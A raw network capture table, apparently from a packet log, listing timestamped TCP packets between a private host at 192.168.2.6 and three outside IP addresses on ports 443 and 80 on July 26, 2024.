Jul 26, 2024 13:48:49.997761011 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.998069048 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:49.998083115 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:50.794226885 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:50.794296026 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:50.802268982 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:50.802287102 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:50.802530050 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:50.803514957 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:50.844537020 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.344368935 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.344394922 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.344408989 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.344477892 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:51.344502926 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.344557047 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:51.347316027 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.347359896 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.347397089 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:51.347404957 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.347420931 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.347444057 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:51.347464085 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:51.347613096 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:51.347631931 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:48:51.347641945 CEST	58980	443	192.168.2.6	20.114.59.183
Jul 26, 2024 13:48:51.347649097 CEST	443	58980	20.114.59.183	192.168.2.6
Jul 26, 2024 13:49:03.426956892 CEST	58981	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:03.568519115 CEST	80	58981	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:03.568617105 CEST	58981	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:03.568820000 CEST	58981	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:03.574618101 CEST	80	58981	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:04.364712000 CEST	80	58981	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:04.364870071 CEST	58981	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:04.367192030 CEST	58981	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:04.372154951 CEST	80	58981	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:04.622539043 CEST	80	58981	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:04.622617960 CEST	58981	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:04.626322031 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:04.631220102 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:04.631304979 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:04.631504059 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:04.636326075 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.395822048 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.395931005 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.395941973 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.395944118 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.395971060 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.395988941 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.396514893 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.396528006 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.396539927 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.396580935 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.396651030 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.397492886 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.397506952 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.397519112 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.397530079 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.397536993 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.397582054 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.401271105 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.401352882 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.401379108 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.401427984 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.486304998 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.486380100 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.486479998 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.486550093 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.544713020 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.544800043 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.544811964 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.544835091 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.544862032 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.545176983 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.545188904 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.545221090 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.545835972 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.545847893 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.545859098 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.545892000 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.545909882 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.546749115 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.546761036 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.546772003 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.546796083 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.546832085 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.548369884 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.548382044 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.548392057 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.548418045 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.548449993 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.549422026 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.549433947 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.549444914 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.549473047 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.549501896 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.550187111 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.550198078 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.550209045 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.550234079 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.550266981 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.550885916 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.550929070 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.576340914 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.576421976 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.576436996 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.576436043 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.576472044 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.576493025 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.692882061 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.692915916 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.692929029 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.692955971 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.693012953 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.693747044 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.693823099 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.693833113 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.693883896 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.694009066 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.694040060 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.694061041 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.694076061 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.694093943 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.694122076 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.694717884 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.694751978 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.694783926 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.694785118 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.694801092 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.694833994 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.695417881 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.695435047 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.695475101 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.695492983 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.695843935 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.695856094 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.695905924 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.696531057 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.696543932 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.696585894 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.697381020 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.697391987 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.697428942 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.697448015 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.697874069 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.697889090 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.697933912 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.697968006 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.698643923 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.698658943 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.698664904 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.698703051 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.698753119 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.699296951 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.699309111 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.699351072 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.699896097 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.699908018 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.699918985 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.699940920 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.699974060 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.700700045 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.700711012 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.700721025 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.700731993 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.700746059 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.700794935 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.701499939 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.701513052 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.701523066 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.701548100 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.701569080 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.702333927 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.702346087 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.702357054 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.702379942 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.702399969 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.703155994 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.703167915 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.703176022 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.703186989 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.703207016 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.703253984 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.703999996 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.704013109 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.704024076 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.704045057 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.704060078 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.704814911 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.704827070 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.704835892 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.704863071 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.704884052 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.840964079 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.840995073 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.841012955 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.841047049 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.841084003 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.841355085 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.841367960 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.841381073 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.841404915 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.841429949 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.842097044 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.842111111 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.842122078 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.842149973 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.842178106 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.842961073 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.842973948 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.842984915 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.843008995 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.843034029 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.843822956 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.843837023 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.843847036 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.843858004 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.843871117 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.843898058 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.843935966 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.844798088 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.844818115 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.844830036 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.844863892 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.844894886 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.845663071 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.845674038 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.845685005 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.845710993 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.845722914 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.845761061 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.846435070 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.846461058 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.846484900 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.846487045 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.846510887 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.846537113 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.847347021 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.847373962 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.847388983 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.847400904 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.847409010 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.847429037 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.847443104 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.847476959 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.848229885 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.848257065 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.848283052 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.848329067 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849086046 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849112988 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849138021 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849138021 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849159002 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849165916 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849185944 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849205971 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849771023 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849797964 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849823952 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849839926 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849839926 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849848986 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849855900 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849875927 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.849900007 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.849922895 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.850676060 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.850703001 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.850719929 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.850728035 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.850754976 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.850756884 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.850781918 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.850786924 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.850841999 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.851622105 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.851648092 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.851670027 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.851684093 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.851697922 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.851711035 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.851739883 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.851778984 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.852669001 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.852695942 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.852720022 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.852727890 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.852744102 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.852756023 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.852777004 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.852783918 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.852803946 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.852833033 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.853442907 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.853471041 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.853490114 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.853497028 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.853511095 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.853523016 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.853537083 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.853559017 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.854399920 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.854428053 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.854449034 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.854453087 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.854465961 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.854480028 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.854492903 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.854506969 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.854523897 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.854552031 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.855321884 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.855353117 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.855379105 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.855379105 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.855400085 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.855406046 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.855429888 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.855458021 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.856220961 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.856235027 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.856246948 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.856257915 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.856266022 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.856292963 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.856336117 CEST	58982	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:05.857093096 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.857108116 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.857119083 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.857130051 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.857140064 CEST	80	58982	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:05.857141972 CEST	58982	80	192.168.2.6	185.215.113.16
